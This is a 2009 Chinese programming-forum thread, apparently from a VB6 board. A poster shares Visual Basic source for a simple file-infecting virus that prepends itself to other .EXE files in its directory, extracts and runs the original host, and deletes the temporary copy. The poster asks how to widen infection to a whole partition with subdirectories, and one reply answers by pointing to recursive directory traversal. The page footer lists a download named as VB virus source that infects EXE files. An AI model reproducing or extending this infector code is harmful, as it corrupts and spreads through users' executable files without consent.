一个简单的vb 感染EXE代码的问题

OJA520 2009-10-25 10:56:45
这是一段我在网上看到的代码,我希望把感染当前目录改成感染某一分区(包括子目录)。请问该怎么做?问题比较菜,希望不要见笑.
Private Victim As String
Private HostLen As Long '要感染的文件的大小
Private vbArray() As Byte '病毒的代码
Private hArray() As Byte '要感染的文件的代码
Private lenght As Long
Private MySize As Integer

Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private iResult As Long
Private hProg As Long
Private idProg As Long
Private iExit As Long
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

Private Sub form_Initialize()
Dim i As Long
On Error GoTo vbVerror '出错处理

'原理:将生成病毒文件的代码读出,粘在要被感染的文件的后面。'QQ吻QQ396890445
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read _
As #1
ReDim MyArray(LOF(1) - 1)
MySize = LOF(1)
ReDim vbArray(MySize)
Get #1, 1, vbArray
Close #1
'这是在读自己的代码


Victim = Dir(App.Path & "\" & "*.EXE") '随便选一个文件(目前只是在病毒所在的目录下随机选一个,将来你可以修改,让它不断的循环搜索计算机上的所有文件。)
While Victim <> ""

If Format(Victim, ">") <> Format(App.EXEName & ".EXE", ">") Then
Open App.Path & "\" & Victim For Binary Access Read As #1
ReDim hArray(LOF(1))
Get #1, 1, hArray
Close #1
'读出病毒自身的代码


If hArray(&H69) <> &H4D Then

i = hArray(&H3C)
If hArray(i) = &H50 Then
Open App.Path & "\" & Victim For Binary Access Write As #1
Put #1, , vbArray
Put #1, MySize, hArray
Close #1
End If '要保证被感染的不是空文件(不是圈套)'QQ吻QQ396890445
End If
End If
'读出准备被感染的文件的代码

Victim = Dir() 'Next

Wend

'下面的工作是为了保证病毒不会重复感染一个文件,也不会自我感染。'QQ吻QQ396890445

Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1
lenght = LOF(1) - MySize
If lenght <> 0 Then
ReDim vbArray(lenght - 1)
Get #1, MySize, vbArray
Close #1

Open App.Path & "\" & App.EXEName & ".eve" For Binary Access Write As #1
Put #1, , vbArray
Close #1


idProg = Shell(App.Path & "\" & App.EXEName & ".eve", vbNormalFocus)
hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
GetExitCodeProcess hProg, iExit
Do While iExit = STILL_ACTIVE
DoEvents
GetExitCodeProcess hProg, iExit
Loop
Kill App.Path & "\" & App.EXEName & ".eve"

Else
Close #1

End If

End

vbVerror: '出错处理,空着就可以了

End Sub
...全文
153 6 打赏 收藏 转发到动态 举报
写回复
用AI写文章
6 条回复
切换为时间正序
请发表友善的回复…
发表回复
OJA520 2009-10-30
  • 打赏
  • 举报
回复
那该怎样递归索引目录下的子目录及其文件呢?
threenewbee 2009-10-27
  • 打赏
  • 举报
回复
就不告诉你,就不告诉你,哈哈
Bullatus 2009-10-27
  • 打赏
  • 举报
回复
递归索引目录下的子目录及其文件就可以了
htpower 2009-10-26
  • 打赏
  • 举报
回复
梅毒~闪~
清晨曦月 元老 2009-10-26
  • 打赏
  • 举报
回复
有毒啊~~~好怕怕:)
outou 2009-10-26
  • 打赏
  • 举报
回复
不会吧,病毒呀!!!!
360 reverse.cpp 2012-06-13 14:21 853 TF写保护.txt 2012-06-13 14:16 2,422 齐博CMS木马查杀.rar 2012-06-13 14:13 4,094 求逆矩阵的C语言源程序CINV.txt 2012-06-13 14:29 4,127 Linux内核源代码的阅读及相关工具介绍.txt 2012-06-13 14:25 5,357 VB一个可以感染EXE的病毒原代码.rar 2012-06-13 14:30 6,721 hookqq.zip 2012-06-13 14:17 11,565 超简单的FAT32程序.txt 2012-06-13 14:37 16,948 创建数组副本的两种方法.rar 2012-06-13 14:21 28,672 优秀驾驶员开车技巧.doc 2012-06-13 14:33 64,736 基于Linux的进程迁移机制设计.pdf 2012-06-13 14:06 109,298 联机数字、英文字符及汉字识别.rar 2012-06-13 14:17 113,122 解读FAT32文件系统(二).pdf 2012-06-13 14:33 151,461 分布式系统中进程迁移的分析.pdf 2012-06-13 14:30 189,370 链栈操作.rar 2012-06-13 14:12 255,824 matlab有限元法计算分析程序编写.pdf 2012-06-13 14:17 261,966 FAT32文件系统的存储机制及其在单片机上的实现.pdf 2012-06-13 14:22 287,547 VistaButton.rar 2012-06-13 14:17 309,272 C++经典数值算法源码.rar 2012-06-13 14:05 456,637 病毒扫描软件开源+杀毒引擎接口2.0.rar 2012-06-13 14:28 710,188 User总结.rar 2012-06-13 14:03 886,103 sql查询分析器分离版本.rar 2012-06-13 14:19 933,249 算法艺术与信息学竞赛题目完全解析.pdf 2012-06-13 14:29 960,205 unix程序员手册.pdf 2012-06-13 14:23 1,168,606 12383240.bmp 2012-06-13 14:18 1,180,147 经典的mp3源码程序,有usb,支持fat32文件系统 sd卡.rar 2012-06-13 14:37 1,317,958 《科学与工程数值计算算法(Visual C++版)》附盘代码.zip 2012-06-13 14:33 1,473,074 内存数据库应用论文:多核处理器环境下内存数据库索引性能分析.pdf 2012-06-13 14:27 1,505,447 Matlab在图像处理中的应用源代码.rar 2012-06-13 14:29 1,660,383 小旋风ASPWEB服务器2005.rar 2012-06-13 14:29 1,693,901 c语言库.rar 2012-06-13 14:27 2,163,339 MATLAB R2007基础教程.rar 2012-06-13 14:11 2,591,945 4.4BSD操作系统设计与实现.chm 2012-06-13 14:31 2,988,410 都江堰操作系统与嵌入式系统设计20090318.rar 2012-06-13 14:35 3,307,298 教学用PPT.rar 2012-06-13 14:14 3,365,954 复杂数字电路与系统的VerilogHDL设计技术-夏宇闻.pdf 2012-06-13 14:19 3,789,694 labwindowsCVI源代码例子.rar 2012-06-13 14:32 5,281,332 MATLAB5_X程序设计语言.pdf 2012-06-13 14:20 5,920,331 VC编程实例大全.rar 2012-06-13 14:40 6,134,513 [个人的管理].(美)彼得·德鲁克.扫描版.pdf 2012-06-13 14:39 10,026,112 UNIX源代码分析.rar 2012-06-13 14:41 13,574,455 MS-DOS_6.0_source_code.rar 2012-06-13 14:05 14,539,314 五子棋.zip 2012-06-13 14:28 16,645,116 Matlab溷合编程与工程应用源代码.rar 2012-06-13 14:10 23,582,731 VC++游戏编程基础.rar 2012-06-13 14:41 24,172,167 [unix.v6.v7.源码].unix.v6.v7.src.source.code(1).rar 2012-06-13 14:40 24,172,167 [unix.v6.v7.源码].unix.v6.v7.src.source.code.rar 2012-06-13 14:29 27,338,752 MATLAB从入门到精通.iso 2012-06-13 14:14 42,512,862 FreeBSD-jishu.pdf

16,557

社区成员

发帖
与我相关
我的任务
社区描述
VB技术相关讨论,主要为经典vb,即VB6.0
社区管理员
  • VB.NET
  • 水哥阿乐
  • 无·法
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧